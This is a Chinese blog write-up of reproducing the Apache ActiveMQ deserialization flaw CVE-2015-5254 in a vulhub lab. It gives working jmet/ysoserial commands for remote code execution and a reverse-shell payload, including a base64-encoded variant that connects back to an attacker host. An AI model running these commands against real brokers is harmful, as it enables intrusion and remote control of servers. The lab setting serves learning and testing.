zoukankan      html  css  js  c++  java
  • ActiveMq反序列化漏洞(CVE-2015-5254)漏洞复现

    漏洞原理

    Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

    环境准备

    kali vulhub集成一键搭建,

    docker-compose up -d

    kali 靶机ip:192.168.177.137

    环境运行成功后后,将监听61616和8161两个端口,其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口,Web访问:http://your-ip:8161即可看到网络管理页面。

    ActiveMq默认登录账号密码:admin admin

     

    工具下载

    https://github.com/matthiaskaiser/jmet/releases

    漏洞复现

    创建文件

    Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

    执行命令:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   192.168.177.1  37   61616

    查看http://192.168.177.137:8161/admin/browse.jsp?JMSDestination=event 可以看到该队列信息,点击这条消息可以出发命令执行

     验证发现无法在tmp下创建文件,使用命令直接在根目录创建文件:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch li" -Yp ROME   192.168.177.137   61616

     

    进入目录查看文件,创建成功:

    docker exec -it cve-2015-5254_activemq_1 /bin/bash

     

     反弹shell

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tvp/192.168.177.128/4444>&1 " -Yp ROME 192.168.177.137 61616

    需要进行base64编码进行绕过才可以执行:

    bash -c {echo,payload-base64编码}|{base64,-d}|{bash,-i}
    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.177.137 61616

     

     

    漏洞修复

    官网修复补丁

    参考文献

    https://www.cnblogs.com/backlion/p/9970516.html

    https://www.jianshu.com/p/d2b7e0e75941

    https://blog.csdn.net/nz9611/article/details/96206386

  • 相关阅读:
    刷题-力扣-223. 矩形面积
    刷题-力扣-135. 分发糖果
    刷题-力扣-134. 加油站
    刷题-力扣-343. 整数拆分
    刷题-力扣-162. 寻找峰值
    刷题-力扣-371. 两整数之和
    20191114-2 Beta事后诸葛亮会议
    Beta阶段贡献分配
    扛把子组20191114-4 Beta发布用户使用报告
    beta 2/2 阶段中间产物提交
  • 原文地址:https://www.cnblogs.com/lijingrong/p/13647047.html
Copyright © 2011-2022 走看看